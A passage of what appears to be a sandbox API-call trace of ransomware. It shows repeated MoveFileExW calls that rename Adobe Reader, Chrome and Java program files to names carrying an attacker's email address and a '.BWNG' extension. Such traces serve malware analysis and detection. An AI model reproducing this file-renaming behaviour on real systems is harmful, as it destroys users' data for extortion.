10.0\\reader\\locale\\fi_fi\\[billwong73@yahoo.com].wvfc43b5-zxqyxqe3.bwng"), dwFlags=0x1) returned 1 [0109.920] GetTickCount () returned 0x1163257 [0109.920] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25187176721) returned 1 [0109.920] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\[billwong73@yahoo.com].tvWxqkyE-tsxkARuW.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\[billwong73@yahoo.com].tvwxqkye-tsxkaruw.bwng"), dwFlags=0x1) returned 1 [0109.921] GetTickCount () returned 0x1163257 [0109.921] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25187374003) returned 1 [0109.922] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].IES5n4BC-SXg8Cq3C.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].ies5n4bc-sxg8cq3c.bwng"), dwFlags=0x1) returned 1 [0109.923] GetTickCount () returned 0x1163257 [0109.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25187526727) returned 1 [0109.923] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\DigSig.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\digsig.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\[billwong73@yahoo.com].rnBWXURk-c8zWXaIU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\[billwong73@yahoo.com].rnbwxurk-c8zwxaiu.bwng"), dwFlags=0x1) returned 1 [0109.925] GetTickCount () returned 0x1163257 [0109.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25187676255) returned 1 [0109.925] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\ReadOutLoud.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\readoutloud.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\[billwong73@yahoo.com].4XMTtjXv-tFAdXDZp.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\[billwong73@yahoo.com].4xmttjxv-tfadxdzp.bwng"), dwFlags=0x1) returned 1 [0109.926] GetTickCount () returned 0x1163257 [0109.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25187822658) returned 1 [0109.926] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ar.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].3XcT8BGH-cRJW5nKF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].3xct8bgh-crjw5nkf.bwng"), dwFlags=0x1) returned 1 [0109.931] GetTickCount () returned 0x1163257 [0109.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25188279591) returned 1 [0109.931] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Accessibility.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\accessibility.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\[billwong73@yahoo.com].pJt7xBWZ-bfJcPg5R.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\[billwong73@yahoo.com].pjt7xbwz-bfjcpg5r.bwng"), dwFlags=0x1) returned 1 [0110.105] GetTickCount () returned 0x1163312 [0110.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25205755361) returned 1 [0110.106] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_hn.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].826L3UuN-EMWLwqcS.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].826l3uun-emwlwqcs.bwng"), dwFlags=0x1) returned 1 [0110.107] GetTickCount () returned 0x1163312 [0110.107] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25205939592) returned 1 [0110.107] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ve.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].N5myCyfc-cgOro1jO.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].n5mycyfc-cgoro1jo.bwng"), dwFlags=0x1) returned 1 [0110.109] GetTickCount () returned 0x1163312 [0110.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25206109444) returned 1 [0110.109] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].DVJ7I6f4-GIGwZce4.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].dvj7i6f4-gigwzce4.bwng"), dwFlags=0x1) returned 1 [0110.110] GetTickCount () returned 0x1163312 [0110.110] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25206254328) returned 1 [0110.111] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].vpHJGihW-VJzwGXDV.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].vphjgihw-vjzwgxdv.bwng"), dwFlags=0x1) returned 1 [0110.112] GetTickCount () returned 0x1163312 [0110.112] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25206392359) returned 1 [0110.112] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb_no.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].8W6iIDJT-aPixLQKU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].8w6iidjt-apixlqku.bwng"), dwFlags=0x1) returned 1 [0110.113] GetTickCount () returned 0x1163312 [0110.113] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25206529098) returned 1 [0110.113] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].WJPweMxP-rsWDauYz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].wjpwemxp-rswdauyz.bwng"), dwFlags=0x1) returned 1 [0110.114] GetTickCount () returned 0x1163312 [0110.114] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25206673864) returned 1 [0110.115] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\ctl_gb18030.cnv" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\ctl_gb18030.cnv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\[billwong73@yahoo.com].LxDxf2Dr-wnQaLUbw.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\icu\\[billwong73@yahoo.com].lxdxf2dr-wnqalubw.bwng"), dwFlags=0x1) returned 1 [0110.116] GetTickCount () returned 0x1163312 [0110.116] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25206837619) returned 1 [0110.116] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINSIMP.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chinsimp.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].q2UKzCZr-6UGwFaYY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].q2ukzczr-6ugwfayy.bwng"), dwFlags=0x1) returned 1 [0110.118] GetTickCount () returned 0x1163312 [0110.118] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25207001805) returned 1 [0110.118] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\KOREAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\korean.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].gBQ8SH56-0bbk7sle.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].gbq8sh56-0bbk7sle.bwng"), dwFlags=0x1) returned 1 [0110.119] GetTickCount () returned 0x1163312 [0110.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25207143382) returned 1 [0110.119] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\[billwong73@yahoo.com].3oFQ7Mpe-OkET1njI.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\[billwong73@yahoo.com].3ofq7mpe-oket1nji.bwng"), dwFlags=0x1) returned 1 [0110.121] GetTickCount () returned 0x1163312 [0110.121] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25207278222) returned 1 [0110.254] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\swd.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\swd.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].53xdMXNR-vNsi3K9u.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].53xdmxnr-vnsi3k9u.bwng"), dwFlags=0x1) returned 1 [0110.257] GetTickCount () returned 0x116339f [0110.257] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25220914663) returned 1 [0110.257] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP950.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp950.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\[billwong73@yahoo.com].hqBM0Ni9-CDIkbm84.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\[billwong73@yahoo.com].hqbm0ni9-cdikbm84.bwng"), dwFlags=0x1) returned 1 [0110.259] GetTickCount () returned 0x116339f [0110.259] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25221107217) returned 1 [0110.259] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_100_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_100_percent.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\[billwong73@yahoo.com].n4ID5cR1-2OSyF2Kh.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\[billwong73@yahoo.com].n4id5cr1-2osyf2kh.bwng"), dwFlags=0x1) returned 1 [0110.260] GetTickCount () returned 0x116339f [0110.260] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25221247929) returned 1 [0110.260] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrmstp.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrmstp.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\[billwong73@yahoo.com].CEhQVSes-w8QpcbZz.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\[billwong73@yahoo.com].cehqvses-w8qpcbzz.bwng"), dwFlags=0x1) returned 1 [0110.262] GetTickCount () returned 0x11633ae [0110.262] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25221434368) returned 1 [0110.262] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\usa03.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\usa03.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].8tF1WVTX-KkPWoT0W.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].8tf1wvtx-kkpwot0w.bwng"), dwFlags=0x1) returned 1 [0110.264] GetTickCount () returned 0x11633ae [0110.264] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25221579884) returned 1 [0110.264] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.policy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\java.policy"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\[billwong73@yahoo.com].umYCJnFr-hsCGI1zV.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\[billwong73@yahoo.com].umycjnfr-hscgi1zv.bwng"), dwFlags=0x1) returned 1 [0110.265] GetTickCount () returned 0x11633ae [0110.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25221735531) returned 1 [0110.265] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Addis_Ababa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\addis_ababa"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].rp0JPvyk-57X2uOeY.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].rp0jpvyk-57x2uoey.bwng"), dwFlags=0x1) returned 1 [0110.397] GetTickCount () returned 0x116342b [0110.397] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25234959097) returned 1 [0110.398] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].QzhNF6F7-etKZXZBm.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].qzhnf6f7-etkzxzbm.bwng"), dwFlags=0x1) returned 1 [0110.399] GetTickCount () returned 0x116342b [0110.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25235156039) returned 1 [0110.400] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\[billwong73@yahoo.com].e8bqvf7e-gNvdFtb4.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\[billwong73@yahoo.com].e8bqvf7e-gnvdftb4.bwng"), dwFlags=0x1) returned 1 [0110.401] GetTickCount () returned 0x116342b [0110.401] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25235303482) returned 1 [0110.401] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Cairo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\cairo"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].8Kn0R51H-88ZRturr.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].8kn0r51h-88zrturr.bwng"), dwFlags=0x1) returned 1 [0110.402] GetTickCount () returned 0x116343b [0110.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25235606082) returned 1 [0110.404] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmesky.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].QFRcxmvi-UY44aZsl.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].qfrcxmvi-uy44azsl.bwng"), dwFlags=0x1) returned 1 [0110.405] GetTickCount () returned 0x116343b [0110.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25235753198) returned 1 [0110.406] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Asuncion" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\asuncion"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].ceI4Xb4G-6mg9xxOh.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].cei4xb4g-6mg9xxoh.bwng"), dwFlags=0x1) returned 1 [0110.407] GetTickCount () returned 0x116343b [0110.407] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25235932685) returned 1 [0110.407] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\HEBREW.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\hebrew.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\[billwong73@yahoo.com].MAnp8aLq-MqgZKKlE.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\[billwong73@yahoo.com].manp8alq-mqgzkkle.bwng"), dwFlags=0x1) returned 1 [0110.409] GetTickCount () returned 0x116343b [0110.409] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25236078403) returned 1 [0110.409] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Gaborone" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\gaborone"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].J7NXKAAY-JRYkyvo9.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].j7nxkaay-jrykyvo9.bwng"), dwFlags=0x1) returned 1 [0110.410] GetTickCount () returned 0x116343b [0110.410] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25236209134) returned 1 [0110.410] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lome" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\lome"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].j4hMF8Ow-G9qPuQVZ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].j4hmf8ow-g9qpuqvz.bwng"), dwFlags=0x1) returned 1 [0110.411] GetTickCount () returned 0x116343b [0110.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25236364053) returned 1 [0110.412] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].qSpMJaOH-fd0ydmLn.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].qspmjaoh-fd0ydmln.bwng"), dwFlags=0x1) returned 1 [0110.413] GetTickCount () returned 0x116343b [0110.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25236487489) returned 1 [0110.413] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\ktab.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\ktab.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].USRbMn2d-GSopLE1K.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].usrbmn2d-gsople1k.bwng"), dwFlags=0x1) returned 1 [0110.414] GetTickCount () returned 0x116343b [0110.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25236646978) returned 1 [0110.414] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Boise" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\boise"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].EY907MuX-fzZ6Jtmo.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].ey907mux-fzz6jtmo.bwng"), dwFlags=0x1) returned 1 [0110.416] GetTickCount () returned 0x116343b [0110.416] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25236799516) returned 1 [0110.416] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nairobi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\nairobi"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].2f5mEBMS-00cSPech.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].2f5mebms-00cspech.bwng"), dwFlags=0x1) returned 1 [0110.556] GetTickCount () returned 0x11634c7 [0110.556] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25250833914) returned 1 [0110.556] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Creston" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\creston"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].sXjUhbYD-qC3H46ZC.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].sxjuhbyd-qc3h46zc.bwng"), dwFlags=0x1) returned 1 [0110.567] GetTickCount () returned 0x11634d7 [0110.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25251955389) returned 1 [0110.568] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Adak" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\adak"), lpNewFileName="C:\\Program Files 